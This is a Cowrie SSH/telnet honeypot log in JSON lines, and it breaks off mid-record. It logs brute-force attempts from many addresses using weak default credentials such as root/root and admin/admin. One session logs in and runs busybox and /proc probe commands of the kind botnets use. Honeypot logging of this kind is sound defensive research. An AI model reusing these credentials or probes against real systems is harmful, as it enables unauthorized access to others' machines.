{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41564,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d76b77f4c8c","protocol":"ssh","message":"New connection: 80.94.92.184:41564 (159.203.135.109:22) [session: 5d76b77f4c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:34.717481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:34.721647Z","src_ip":"80.94.92.184","session":"5d76b77f4c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:35.361649Z","src_ip":"80.94.92.184","session":"5d76b77f4c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.05804514884949,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:36.281683Z","src_ip":"172.81.62.90","session":"c89eb4ce09dd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:36.768928Z","src_ip":"80.94.92.184","session":"5d76b77f4c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:38.117403Z","src_ip":"80.94.92.184","session":"5d76b77f4c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":37260,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc9acc6cf823","protocol":"ssh","message":"New connection: 72.17.34.38:37260 (10.17.0.5:22) [session: bc9acc6cf823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:49.924765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:49.928787Z","src_ip":"72.17.34.38","session":"bc9acc6cf823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:49.963623Z","src_ip":"72.17.34.38","session":"bc9acc6cf823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2026","message":"login attempt [ubuntu/ubuntu#2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:50.136958Z","src_ip":"72.17.34.38","session":"bc9acc6cf823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:51.174561Z","src_ip":"72.17.34.38","session":"bc9acc6cf823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa29cb4cd3b","protocol":"telnet","message":"New connection: 94.23.66.112:34908 (10.17.0.5:23) [session: 5aa29cb4cd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:57.948767Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.104.241.152","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"8591f95c2cd2","protocol":"ssh","message":"New connection: 47.104.241.152:41900 (159.203.135.109:22) [session: 8591f95c2cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:07.062253Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:07.066011Z","src_ip":"47.104.241.152","session":"8591f95c2cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":35894,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f0d69269efe","protocol":"ssh","message":"New connection: 37.233.85.71:35894 (159.203.135.109:22) [session: 4f0d69269efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:19.910440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:19.914669Z","src_ip":"37.233.85.71","session":"4f0d69269efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:20.027705Z","src_ip":"37.233.85.71","session":"4f0d69269efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"141284","message":"login attempt [root/141284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:20.368381Z","src_ip":"37.233.85.71","session":"4f0d69269efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:21.483593Z","src_ip":"37.233.85.71","session":"4f0d69269efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f755af7e5614","protocol":"telnet","message":"New connection: 128.199.8.54:33410 (159.203.135.109:23) [session: f755af7e5614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:30.495609Z"}
{"eventid":"cowrie.session.closed","duration":0.0050067901611328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:30.500429Z","src_ip":"128.199.8.54","session":"f755af7e5614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37227821350098,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:31.320904Z","src_ip":"94.23.66.112","session":"5aa29cb4cd3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.87.215.169","src_port":40916,"dst_ip":"159.203.135.109","dst_port":23,"session":"22099aa1cf63","protocol":"telnet","message":"New connection: 77.87.215.169:40916 (159.203.135.109:23) [session: 22099aa1cf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:32.131047Z"}
{"eventid":"cowrie.session.closed","duration":0.0044972896575927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:32.135227Z","src_ip":"77.87.215.169","session":"22099aa1cf63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.87.215.169","src_port":40932,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c634d2bc7ec","protocol":"telnet","message":"New connection: 77.87.215.169:40932 (159.203.135.109:23) [session: 2c634d2bc7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:32.288553Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:32.794512Z","src_ip":"77.87.215.169","session":"2c634d2bc7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":39654,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e530c186e7","protocol":"ssh","message":"New connection: 103.82.20.28:39654 (10.17.0.5:22) [session: 91e530c186e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:33.069617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:33.073803Z","src_ip":"103.82.20.28","session":"91e530c186e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:33.331851Z","src_ip":"103.82.20.28","session":"91e530c186e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5033748149871826,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:33.791720Z","src_ip":"77.87.215.169","session":"2c634d2bc7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.87.215.169","src_port":40940,"dst_ip":"159.203.135.109","dst_port":23,"session":"1496b2da85bf","protocol":"telnet","message":"New connection: 77.87.215.169:40940 (159.203.135.109:23) [session: 1496b2da85bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:33.934460Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"150579","message":"login attempt [root/150579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:34.106720Z","src_ip":"103.82.20.28","session":"91e530c186e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:34.443709Z","src_ip":"77.87.215.169","session":"1496b2da85bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:35.367056Z","src_ip":"103.82.20.28","session":"91e530c186e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.505465030670166,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:35.439792Z","src_ip":"77.87.215.169","session":"1496b2da85bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.87.215.169","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"139e19a29e32","protocol":"telnet","message":"New connection: 77.87.215.169:40946 (159.203.135.109:23) [session: 139e19a29e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:35.595716Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:36.105330Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:36.150552Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:37.103160Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:37.601568Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:38.197980Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:38.801939Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:38.805765Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:39.420504Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8343727588653564,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:39.429976Z","src_ip":"77.87.215.169","session":"139e19a29e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54432,"dst_ip":"159.203.135.109","dst_port":22,"session":"9180a868b4dd","protocol":"ssh","message":"New connection: 103.122.221.179:54432 (159.203.135.109:22) [session: 9180a868b4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:47.683333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:47.687241Z","src_ip":"103.122.221.179","session":"9180a868b4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:47.944133Z","src_ip":"103.122.221.179","session":"9180a868b4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"davinci","message":"login attempt [root/davinci] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:48.716927Z","src_ip":"103.122.221.179","session":"9180a868b4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:49.976769Z","src_ip":"103.122.221.179","session":"9180a868b4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.32727861404419,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:41:51.815600Z","src_ip":"128.199.8.54","session":"7cc05934afc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42336,"dst_ip":"159.203.135.109","dst_port":23,"session":"7329c2d637b2","protocol":"telnet","message":"New connection: 172.81.62.90:42336 (159.203.135.109:23) [session: 7329c2d637b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:01.698344Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41792,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d989ed73feb","protocol":"ssh","message":"New connection: 103.15.222.183:41792 (159.203.135.109:22) [session: 0d989ed73feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:08.189154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:08.193676Z","src_ip":"103.15.222.183","session":"0d989ed73feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 